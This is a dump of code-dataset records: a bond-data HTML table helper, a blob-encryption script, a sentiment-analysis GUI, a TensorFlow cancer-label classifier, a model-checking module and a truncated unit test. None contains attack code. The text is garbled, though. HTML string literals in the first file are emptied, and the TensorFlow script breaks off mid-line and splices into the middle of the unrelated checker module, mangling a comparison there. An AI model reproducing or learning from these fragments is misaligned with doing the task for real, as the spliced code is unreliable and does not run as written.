\"\"\" \\\n + ('' if len(subtitle) == 0 else \"\"\"
\"\"\" + subtitle + \"\"\"
\"\"\") + \"\"\"
\"\"\"\n title_suffix = \"\"\"
\"\"\"\n\n return table, html + title + get_html_string(table, remark_fields_color, ignore_fields, is_login_user, field_links, table_width=table_width) + title_suffix\n\n\ndef generate_table_html(type, cur, html, need_title=True, field_names=None, rows=None,\n remark_fields_color=[],\n htmls={},\n tables=None,\n subtitle='',\n ignore_fields=[],\n field_links={},\n is_login_user=False):\n table, html = generate_table(type, cur, html, need_title, field_names, rows, remark_fields_color, htmls, tables, subtitle, ignore_fields, field_links, is_login_user)\n return html\n\ndef from_db(cursor, field_names, rows, **kwargs):\n if cursor.description:\n table = PrettyTable(**kwargs)\n table.field_names = [col[0] for col in cursor.description]\n if field_names is not None:\n table.field_names.extend(field_names)\n if rows is None:\n rows = cursor.fetchall()\n for row in rows:\n table.add_row(row)\n return table\n\n\ndef default_edit_link_maker(hold_id, bond_code):\n if hold_id is not None:\n return '/sync_trade_data.html/' + str(hold_id) + '/'\n\n return '/new_sync_trade_data.html/' + bond_code + '/'\n\n\ndef get_html_string(table, remark_fields_color=[],\n ignore_fields=[], is_login_user=False,\n field_links={},\n table_rows_size=10,\n table_width=None\n ):\n options = table._get_options({})\n rows = table._get_rows(options)\n table_height_style_content = ''\n if table_width is not None:\n table_height_style_content = 'width: ' + table_width\n\n if len(rows) > table_rows_size:\n table_height_style_content = ',height: ' + str(50*10) + 'px' #'style:' + str(50*15) + 'px'\n\n table_height_style = \"\"\"style=\" \"\"\" + table_height_style_content + \"\"\" \" \"\"\"\n\n ignore_fields.extend(['nid', 'id', 'hold_id', 'bond_code', 'stock_code', '持有', '持有成本', '持有数量', 'cb_mov2_id'])\n lines = []\n linebreak = \"
\"\n\n lines.append(\"
\")\n lines.append(\"
\")\n lines.append(\"\")\n\n # Headers\n lines.append(\" \")\n lines.append(\" \")\n\n for field in table._field_names:\n if ignore_fields.count(field) > 0:\n continue\n\n lines.append(\n \" \" % field.replace(\"\\n\", linebreak)\n )\n lines.append(\" \")\n lines.append(\" \")\n\n # Data\n lines.append(\" \")\n # formatted_rows = table._format_rows(rows, options)\n for row in rows:\n lines.append(\" \")\n record = get_record(table, row)\n for field, datum in record.items():\n if ignore_fields.count(field) > 0:\n continue\n\n if datum is not None:\n datum = str(datum)\n else:\n datum = ''\n\n remark_color = ''\n if remark_fields_color.count(field) > 0:\n if datum.startswith('-'):\n remark_color = 'class=\"remarked-down\"'\n else:\n remark_color = 'class=\"remarked-up\"'\n\n if len(field_links) > 0 and id is not None:\n for key, value in field_links.items():\n if field == key:\n datum = value(datum, record)\n\n prefix, prefix_append, suffix = generate_head_tail_html(field, is_login_user, record)\n\n lines.append(\n (\" \") % datum.replace(\"\\n\", linebreak)\n # fixme 重构成函数变量\n .replace('转债标的 ', '')\n .replace('标准普尔 ', '')\n .replace('富时罗素 ', '')\n .replace('上证380 ', '')\n .replace('央视50_ ', '')\n .replace('中证500 ', '')\n .replace('深成500 ', '')\n .replace('融资融券 ', '')\n .replace('上证180_ ', '')\n .replace('HS300_ ', '')\n .replace('MSCI中国 ', '')\n .replace('深股通 ', '')\n .replace('创业板综 ', '')\n .replace('沪股通 ', '')\n )\n lines.append(\" \")\n lines.append(\" \")\n lines.append(\"
%s
\" + prefix + \"%s\" + prefix_append + \"\" + suffix + \"
\")\n lines.append(\"
\")\n lines.append(\"
\")\n\n return \"\\n\".join(lines)\n\n\ndef generate_head_tail_html(field, is_login_user, record):\n # 标题增加链接\n # 可转债: http://quote.eastmoney.com/bond/sz128051.html\n # 正股: http://quote.eastmoney.com/sz002741.html\n prefix = ''\n prefix_append = ''\n suffix = ''\n if field == '名称':\n bond_code = record.get('bond_code')\n nid = record['nid']\n stock_code = record['stock_code']\n market = 'sz'\n if bond_code.startswith('11'):\n market = 'sh'\n prefix = \"\"\n\n prefix_append += \" 宁稳网\"\n\n prefix_append += \" 集思录\"\n\n # https://xueqiu.com/S/SH600998\n suffix = \"
雪球\"\n suffix += \" 东方财富 \"\n suffix += \"同花顺\"\n\n # http://www.ninwin.cn/index.php?m=cb&c=graph_k&a=graph_k&id=157\n suffix += \" 走势图\"\n\n if is_login_user:\n hold_id = record.get('hold_id', None)\n suffix += \" 交易\"\n return prefix, prefix_append, suffix\n\n\ndef add_nav_html(htmls, type):\n if type is not None:\n # 增加导航\n nav_html = htmls.get('nav', '')\n nav_html += get_sub_nav_html(type)\n htmls['nav'] = nav_html\n\n\ndef add_nav_html_to_head(htmls, type, prefix_nav = ''):\n # 'nav': '
  • Home
    • '\n # 增加导航\n nav_html = htmls.get('nav', '')\n nav_html = '
  • Home
    • ' + prefix_nav + get_sub_nav_html(type) + nav_html\n htmls['nav'] = nav_html\n\n\ndef add_sub_nav_html(htmls, title, s):\n # 增加导航\n nav_html = htmls.get('nav', '')\n\n nav_html += \"\"\"\n
  • \n \"\"\" + title + \"\"\"\n
      \n \"\"\" + s + \"\"\"\n
    \n
    • \n \"\"\"\n htmls['nav'] = nav_html\n\n\ndef get_sub_nav_html(type):\n return '
  • ' + type + '
    • '\n\n\ndef get_record(table, row):\n return dict(zip(table._field_names, row))\n\n\ndef get_dict_row(cursor, row):\n if cursor.description:\n field_names = [col[0] for col in cursor.description]\n return dict(zip(field_names, row))\n\n raise Exception('not convert to dict row')\n\n\ndef rebuild_stock_code(stock_code):\n # 沪市A股票买卖的代码是以600、601或603打头, 688创业板\n # 深市A股票买卖的代码是以000打头, 中小板股票代码以002打头, 创业板股票代码以300打头\n if stock_code.startswith('600') or stock_code.startswith('601') or \\\n stock_code.startswith('605') or stock_code.startswith('603') or stock_code.startswith('688'):\n stock_code = 'SH' + stock_code\n elif stock_code.startswith('000') or stock_code.startswith('001') or stock_code.startswith(\n '002') or stock_code.startswith('300'):\n stock_code = 'SZ' + stock_code\n else:\n raise Exception(\"未知股票类型。\" + stock_code)\n return stock_code\n\ndef rebuild_bond_code(bond_code):\n market = 'sz'\n if bond_code.startswith('11'):\n market = 'sh'\n return market + bond_code\n\nif __name__ == \"__main__\":\n get_up_down_data()", "sub_path": "common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 23869, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "jinja2.Environment", "line_number": 15, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 103, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 105, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 105, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 117, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 130, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 143, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 162, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 162, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 175, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 179, "usage_type": "call"}, {"api_name": "pyecharts.charts.Pie", "line_number": 192, "usage_type": "call"}, {"api_name": "pyecharts.options.InitOpts", "line_number": 192, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 192, "usage_type": "name"}, {"api_name": "pyecharts.globals.ThemeType.SHINE", "line_number": 192, "usage_type": "attribute"}, {"api_name": "pyecharts.globals.ThemeType", "line_number": 192, "usage_type": "name"}, {"api_name": "pyecharts.options.LegendOpts", "line_number": 195, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 195, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 196, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 196, "usage_type": "name"}, {"api_name": "pyecharts.charts.Line", "line_number": 203, "usage_type": "call"}, {"api_name": "pyecharts.options.InitOpts", "line_number": 203, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 203, "usage_type": "name"}, {"api_name": "pyecharts.globals.ThemeType.LIGHT", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pyecharts.globals.ThemeType", "line_number": 203, "usage_type": "name"}, {"api_name": "pyecharts.options.TitleOpts", "line_number": 224, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 224, "usage_type": "name"}, {"api_name": "pyecharts.options.TooltipOpts", "line_number": 225, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 225, "usage_type": "name"}, {"api_name": "pyecharts.commons.utils.JsCode", "line_number": 226, "usage_type": "call"}, {"api_name": "pyecharts.options.LegendOpts", "line_number": 231, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 231, "usage_type": "name"}, {"api_name": "pyecharts.options.ToolboxOpts", "line_number": 236, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 236, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisOpts", "line_number": 243, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 243, "usage_type": "name"}, {"api_name": "pyecharts.options.SplitLineOpts", "line_number": 250, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 250, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisLineOpts", "line_number": 252, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 252, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisOpts", "line_number": 257, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 257, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 264, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 264, "usage_type": "name"}, {"api_name": "pyecharts.options.SplitLineOpts", "line_number": 265, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 265, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisLineOpts", "line_number": 266, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 266, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 275, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 275, "usage_type": "name"}, {"api_name": "pyecharts.charts.Scatter", "line_number": 283, "usage_type": "call"}, {"api_name": "pyecharts.options.InitOpts", "line_number": 283, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 283, "usage_type": "name"}, {"api_name": "pyecharts.globals.ThemeType.LIGHT", "line_number": 283, "usage_type": "attribute"}, {"api_name": "pyecharts.globals.ThemeType", "line_number": 283, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 306, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 306, "usage_type": "name"}, {"api_name": "pyecharts.commons.utils.JsCode", "line_number": 308, "usage_type": "call"}, {"api_name": "pyecharts.options.MarkLineOpts", "line_number": 340, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 340, "usage_type": "name"}, {"api_name": "pyecharts.options.LineStyleOpts", "line_number": 341, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 341, "usage_type": "name"}, {"api_name": "pyecharts.options.MarkLineItem", "line_number": 344, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 344, "usage_type": "name"}, {"api_name": "pyecharts.options.MarkLineItem", "line_number": 345, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 345, "usage_type": "name"}, {"api_name": "pyecharts.options.TitleOpts", "line_number": 353, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 353, "usage_type": "name"}, {"api_name": "pyecharts.options.TooltipOpts", "line_number": 354, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 354, "usage_type": "name"}, {"api_name": "pyecharts.commons.utils.JsCode", "line_number": 355, "usage_type": "call"}, {"api_name": "pyecharts.options.LegendOpts", "line_number": 359, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 359, "usage_type": "name"}, {"api_name": "pyecharts.options.ToolboxOpts", "line_number": 363, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 363, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisOpts", "line_number": 370, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 370, "usage_type": "name"}, {"api_name": "pyecharts.options.SplitLineOpts", "line_number": 377, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 377, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 378, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 378, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisLineOpts", "line_number": 379, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 379, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisOpts", "line_number": 384, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 384, "usage_type": "name"}, {"api_name": "pyecharts.options.LabelOpts", "line_number": 391, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 391, "usage_type": "name"}, {"api_name": "pyecharts.options.SplitLineOpts", "line_number": 392, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 392, "usage_type": "name"}, {"api_name": "pyecharts.options.AxisLineOpts", "line_number": 393, "usage_type": "call"}, {"api_name": "pyecharts.options", "line_number": 393, "usage_type": "name"}, {"api_name": "prettytable.PrettyTable", "line_number": 453, "usage_type": "call"}]} +{"seq_id": "64783716", "text": "\"\"\"Encrypt a single file using the given key and iv\"\"\"\nimport argparse\nimport binascii\nimport logging\nimport StringIO\nimport sys\n\nfrom twisted.internet import defer\nfrom twisted.internet import reactor\n\nfrom lbrynet import conf\nfrom lbrynet.cryptstream import CryptBlob\nfrom lbrynet.core import log_support\nfrom lbrynet.core import cryptoutils\n\n\nlog = logging.getLogger('decrypt_blob')\n\n\ndef main():\n conf.initialize_settings()\n parser = argparse.ArgumentParser()\n parser.add_argument('filename')\n parser.add_argument('hex_key')\n parser.add_argument('hex_iv')\n args = parser.parse_args()\n log_support.configure_console(level='DEBUG')\n\n d = run(args)\n reactor.run()\n\n\n@defer.inlineCallbacks\ndef run(args):\n try:\n yield encrypt_blob(args.filename, args.hex_key, args.hex_iv)\n except Exception:\n log.exception('Failed to encrypt blob')\n finally:\n reactor.callLater(0, reactor.stop)\n\n\ndef encrypt_blob(filename, key, iv):\n blob = Blob()\n blob_maker = CryptBlob.CryptStreamBlobMaker(\n binascii.unhexlify(key), binascii.unhexlify(iv), 0, blob)\n with open(filename) as fin:\n blob_maker.write(fin.read())\n blob_maker.close()\n\n\nclass Blob(object):\n def __init__(self):\n self.data = StringIO.StringIO()\n\n def write(self, data):\n self.data.write(data)\n\n def close(self):\n hashsum = cryptoutils.get_lbry_hash_obj()\n buffer = self.data.getvalue()\n hashsum.update(buffer)\n with open(hashsum.hexdigest(), 'w') as fout:\n fout.write(buffer)\n return defer.succeed(True)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "sub_path": "scripts/encrypt_blob.py", "file_name": "encrypt_blob.py", "file_ext": "py", "file_size_in_byte": 1654, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "lbrynet.conf.initialize_settings", "line_number": 21, "usage_type": "call"}, {"api_name": "lbrynet.conf", "line_number": 21, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "lbrynet.core.log_support.configure_console", "line_number": 27, "usage_type": "call"}, {"api_name": "lbrynet.core.log_support", "line_number": 27, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.run", "line_number": 30, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 30, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 40, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 40, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.stop", "line_number": 40, "usage_type": "attribute"}, {"api_name": "twisted.internet.defer.inlineCallbacks", "line_number": 33, "usage_type": "attribute"}, {"api_name": "twisted.internet.defer", "line_number": 33, "usage_type": "name"}, {"api_name": "lbrynet.cryptstream.CryptBlob.CryptStreamBlobMaker", "line_number": 45, "usage_type": "call"}, {"api_name": "lbrynet.cryptstream.CryptBlob", "line_number": 45, "usage_type": "name"}, {"api_name": "binascii.unhexlify", "line_number": 46, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 54, "usage_type": "call"}, {"api_name": "lbrynet.core.cryptoutils.get_lbry_hash_obj", "line_number": 60, "usage_type": "call"}, {"api_name": "lbrynet.core.cryptoutils", "line_number": 60, "usage_type": "name"}, {"api_name": "twisted.internet.defer.succeed", "line_number": 65, "usage_type": "call"}, {"api_name": "twisted.internet.defer", "line_number": 65, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "76071105", "text": "\"\"\" \n =====================================================\n PROGRAMA PARA ANALIZAR SENTIMIENTOS EN TEXTOS CORTOS \n =====================================================\n Programa que analiza la polaridad y la subjetividad de \n un texto, al mismo tiempo que devuelve una etiqueta \n con las palabras mas recurrentes.\n\"\"\"\n\nimport PySimpleGUI as sg\nimport os.path\n\n# Modulos propios\nfrom cloud_words import my_wordcloud\nimport text_analisis\n\n\n##-----VARIABLES ----------------------------------##\ntxt_color = '#023e8a'\nlabels = [\"Etiqueta1\", \"Etiqueta2\", \"Etiqueta3\"]\nlist_themes = ['LightBrown9','BrightColors','LightBrown5','LightBlue5', 'Material1', 'SystemDefault' ]\n\n##-----DEFAULT SETTINGS----------------------------------##\nsg.theme(list_themes[-2])\n\n##-----WINDOW AND LAYOUT---------------------------------##\ninput_column = [\n [sg.Text('¡BIENVENIDO(A)!', size=(65, 2), justification='center', font=('bold'))],\n [sg.Text('Nuestra herramienta de análisis de sentimientos te permitirá tener una medida de polaridad y subjetividad de tu texto.')],\n [sg.Text('A continuación coloca el texto que deseas analizar. Se permite un máximo de 300 caracteres.')],\n [sg.Text('El texto puede estar en español o en inglés.')],\n [sg.Multiline(size=(100, 15), key='-MLINE-')], # identify the multiline via key option\n [sg.Button('Analizar', key='-SUBMIT-')],\n]\nresult_column = [\n [sg.Text('Resultado:', font=('bold'), text_color=txt_color)],\n [sg.Text('- Polaridad', key='-POL-', size=(100, 1))],\n [sg.Text('- Subjetividad', key='-SUB-', size=(100, 1))],\n [sg.Text('Etiquetas:', font=('bold'),text_color=txt_color )],\n [sg.Text(labels[0], key='-TAG-', size=(100, 2))],\n [sg.Text('Nube de etiquetas: ', font=('bold'), text_color=txt_color)],\n [sg.Text(labels[1])],\n [sg.Image(key='-IMAGE-')],\n]\n\nlayout = [\n [sg.Column(input_column)],\n [sg.Column(result_column)],\n]\n\n# Creación de la ventana\nwindow = sg.Window('Analizador simple de sentimientos', layout ).Finalize()\nprint(sg.Window.get_screen_size())\nprint(layout)\n\n\n##----HELPER FUNCTIONS-------------------------------##\n\n \ndef update_result(text):\n result = text_analisis.get_analysis(text) #Función de otro módulo\n if result[0] == 0:\n window['-POL-'].update( \"- Polaridad: Neutra. En el texto no existe carga emotiva.\" )\n if -1 <= result[0] < 0:\n window['-POL-'].update( \"- Polaridad: Negativa. Los sentimientos en el texto tienen una connotación negativa.\" )\n if 0 < result[0] <= 1:\n window['-POL-'].update( \"- Polaridad: Positiva. Los sentimientos en el texto tienen una connotación positiva.\" )\n \n if result[1] == 0:\n window['-SUB-'].update( \"- Sujetividad: Objetivo. Es probable que se hable de hechos.\" )\n if 0 < result[1] < 0.5:\n window['-SUB-'].update( \"- Subjetividad: Casi objetiva. Más cercano a tratarse de hechos que de opiniones o creencias\" )\n if 0.5 <= result[1] <= 1:\n window['-SUB-'].update( \"- Subjetividad: Subjetivo. Existe un grado de subjetividad varible en el texto.\" )\n\n\n#-----MAIN EVENT LOOP------------------------------------##\n# Como interfaz gráfica, debe ejecutarse dentro de un bucle y esperar que el usuario haga algo\n# Este es un ciclo/bucle que procesa \"eventos\" y obtiene los valores del input\nwhile True:\n event, values = window.read()\n print(event, values)\n\n if event == sg.WIN_CLOSED:\n break\n if event == '-SUBMIT-':\n \n input_text = values['-MLINE-']\n\n # Determinando la cantidad de palabras para las etiquetas\n # De acuerdo a la extención del mismo\n lenght_text = len(input_text)\n print(lenght_text)\n if 0 < lenght_text < 10:\n n_words = lenght_text\n elif 10 < lenght_text <= 100:\n n_words = 10\n elif 100 < lenght_text <= 200:\n n_words = 20\n elif 200 < lenght_text <= 300:\n n_words = 30\n\n #Show result\n update_result(input_text)\n print(values['-MLINE-']) # get the content of multiline via its unique key\n \n #Etiquetas\n window['-TAG-'].update()\n\n # Generar WordCloud - (Módulo externo)\n cw = my_wordcloud(input_text, n_words)\n cw.generate_img()\n window['-IMAGE-'].update(filename=\"media/output.png\")\n\nwindow.close()\n\n\n\n\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4386, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PySimpleGUI.theme", "line_number": 24, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 28, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 30, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 31, "usage_type": "call"}, {"api_name": "PySimpleGUI.Multiline", "line_number": 32, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 33, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 36, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 37, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 38, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 39, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 40, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 41, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 42, "usage_type": "call"}, {"api_name": "PySimpleGUI.Image", "line_number": 43, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 47, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 52, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window.get_screen_size", "line_number": 53, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 53, "usage_type": "attribute"}, {"api_name": "text_analisis.get_analysis", "line_number": 61, "usage_type": "call"}, {"api_name": "PySimpleGUI.WIN_CLOSED", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cloud_words.my_wordcloud", "line_number": 111, "usage_type": "call"}]} +{"seq_id": "230330638", "text": "#built of neural network. takes a long time to run, low accuracies, but works\n\nimport math # unused\nimport time\nfrom IPython import display # unused\nimport matplotlib.pyplot as plt # unused\nimport numpy as np # unused\nimport pandas as pd\nfrom sklearn import metrics # unused\nimport tensorflow as tf\nimport seaborn as sns # unused\n\npd.options.display.max_rows = 8 # will use 8 by default for count, mean, std ... max\npd.options.display.max_columns = 9\npd.options.display.float_format = '{:.6f}'.format\npd.set_option('mode.chained_assignment', None)\n\ndataset = pd.read_csv(\"Dataset_Github_Labeled.csv\")\n# From DataFrame, split into features (x) and labels (y)\nx= dataset.drop(['class'], axis=1)\ny= dataset['class']\n# change y in the csv file to be assigned to one of three classes: High-grade, Low-grade, Normal\nfor i in range (0,324): # 0 - 323, same size as x\n #print(type(y[i]))\n if y[i].startswith('High-grade'): # if the last column contains text \"High-grade\", etc below.\n y[i] = 'Cancer'\n elif y[i].startswith('Low-grade'):\n y[i] = 'Cancer'\n elif y[i].startswith('Normal'):\n y[i] = 'Normal'\n# GIVES WARNINGS although it still works, see print below\n# Warnings can be turned back on by deleting pd.set_option('mode.chained_assignment', None)\n# print (y)\n\n\n\n# Split data into train and test set\nfrom sklearn.model_selection import train_test_split\n# x_train, x_test, y_train, y_test= train_test_split(x,y, test_size=0.20) # 60% training, 20% test, 20% validation\n\n# https://stackoverflow.com/questions/38250710/how-to-split-data-into-3-sets-train-validation-and-test\n# x represents attributes, y represents class label\ntraining, validation, test = np.split(dataset.sample(frac=1), [int(.6*len(dataset)), int(.8*len(dataset))]) # 60% test, 20% validation, 20% test split.\nx_train = training.drop(['class'], axis=1)\ny_train = training['class']\nx_validation=validation.drop(['class'], axis=1)\ny_validation=validation['class']\nx_test=test.drop(['class'], axis=1)\ny_test=test['class']\n# Encode class label y\nfrom sklearn.preprocessing import LabelEncoder\nlbl_encoder = LabelEncoder()\ny_train= lbl_encoder.fit_transform(y_train)\ny_test= lbl_encoder.fit_transform(y_test)\ny_validation= lbl_encoder.fit_transform(y_validation)\n# print(y) # shows how the classes are numerically assigned through this change, by 0,1, or 2\ndel training, validation, test # clear memory\n\n# Convert numeric features into Dense Tensors, and construct the feature columns\ndef construct_feature_columns(input_features_DataFrame):\n tensorSet = ([])\n for elem in input_features_DataFrame:\n tensorSet.append( tf.feature_column.numeric_column(str(elem)) ) # where elem is a str feature label\n return tensorSet\n # return set([tf.feature_column.numeric_column(my_feature)\n # for my_feature in input_features_DataFrame])\n\nx_labels = x.head(0) # gets the labels for x, with the dropped class column\nfeature_columns=construct_feature_columns(x_labels)\n# print(x_labels)\n# print(type(feature_columns))\n\n\n# Create the input function for training + evaluation. boolean = True for training.\ndef input_fn(features, labels, training=True, batch_size=32 ):\n dataf = tf.data.Dataset.from_tensor_slices((dict(features), labels))\n if training:\n dataf = dataf.shuffle(200).repeat() # shuffle ~= 1:\n print('CKK: register %s [%s]' % (\n checker.name,\n ', '.join(\n [mc.__name__ for mc in checker.metaclasses])\n ))\n for c in checker.metaclasses:\n cbc=CheckList.checkersForClass\n if c not in cbc:\n cbc[c]=[]\n\n cbc[c].append(checker)\n\n @classmethod\n def check(cls, element):\n c=type(element)\n if DEBUG>=3:\n print('CKK: CHECKING %25s' % c.__name__, end='')\n if c in CheckList.checkersForClass:\n checkers=CheckList.checkersForClass[c]\n if DEBUG>=3:\n print('-> [%s]' % (\n ','.join([c.name for c in checkers])))\n for checker in checkers:\n check_output=checker.doCheck(element)\n if check_output is not None:\n ModelElementIssue(\n modelElement=element,\n level=checker.level,\n message=check_output.message,\n locationElement=\n check_output.locationElement\n )\n else:\n if DEBUG>=3:\n print('-> []')\n\n\nclass Checker(object):\n __metaclass__ = ABCMeta\n\n def __init__(self, **params):\n # type : (List['MetaClass'], Text, Level, Optional[Dict[Text, Any]]) -> None\n self.params=params\n self.name=type(self).__name__\n if 'metaclasses' not in params:\n raise ValueError(\n '%s do not define metaclasses' % self.name)\n self.metaclasses=params.get('metaclasses')\n self.level=params.get('level', Levels.Error)\n CheckList.registerChecker(self)\n\n\n def doCheck(self, e):\n raise NotImplementedError(\n 'CKK: Checker %s on %s is not implemented ' % (\n self.name,\n type(e).__name__\n ))\n\n\nclass NamingChecker(Checker):\n __metaclass__ = ABCMeta\n\n def __init__(self, fun, namingName, **params):\n Checker.__init__(self, **params)\n self.fun=fun\n self.namingName=namingName\n\n def doCheck(self, e):\n if not self.fun(e.name):\n return CheckOutput(\n message='\"%s\" should be in %s.' % (\n e.name,\n self.namingName),\n locationElement=self.locationElement(e))\n\n def locationElement(self, e):\n \"\"\"\n This method can be overloaded if a location\n element is known\n \"\"\"\n return e\n\n\nclass LimitsChecker(Checker):\n __metaclass__ = ABCMeta\n\n def __init__(self, label, **params):\n Checker.__init__(self, label=label, **params)\n self.label=label\n self.min=self.params['min']\n self.max=self.params['max']\n\n @abstractmethod\n def size(self, e):\n raise NotImplementedError()\n\n def doCheck(self, e):\n l=self.size(e)\n if lself.max:\n msg=('At most %s %s(s) must be defined. Got %s.' %(\n self.max,\n self.label,\n l))\n return CheckOutput(\n message=msg,\n locationElement=self.locationElement(e)\n )\n\n def locationElement(self, e):\n \"\"\"\n This method can be overloaded if a location\n element is known\n \"\"\"\n return e", "sub_path": "modelscripts/megamodels/checkers.py", "file_name": "checkers.py", "file_ext": "py", "file_size_in_byte": 4358, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.OrderedDict", "line_number": 24, "usage_type": "call"}, {"api_name": "modelscripts.megamodels.issues.ModelElementIssue", "line_number": 55, "usage_type": "call"}, {"api_name": "abc.ABCMeta", "line_number": 68, "usage_type": "name"}, {"api_name": "modelscripts.base.issues.Levels.Error", "line_number": 78, "usage_type": "attribute"}, {"api_name": "modelscripts.base.issues.Levels", "line_number": 78, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 91, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 115, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 123, "usage_type": "name"}]} +{"seq_id": "631876743", "text": "#!/usr/bin/python\n# Classification (U)\n\n\"\"\"Program: non_proc_msg.py\n\n Description: Unit testing of non_proc_msg in rmq_2_sysmon.py.\n\n Usage:\n test/unit/rmq_2_sysmon/non_proc_msg.py\n\n Arguments:\n\n\"\"\"\n\n# Libraries and Global Variables\n\n# Standard\nimport sys\nimport os\n\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\n# Third-party\nimport mock\n\n# 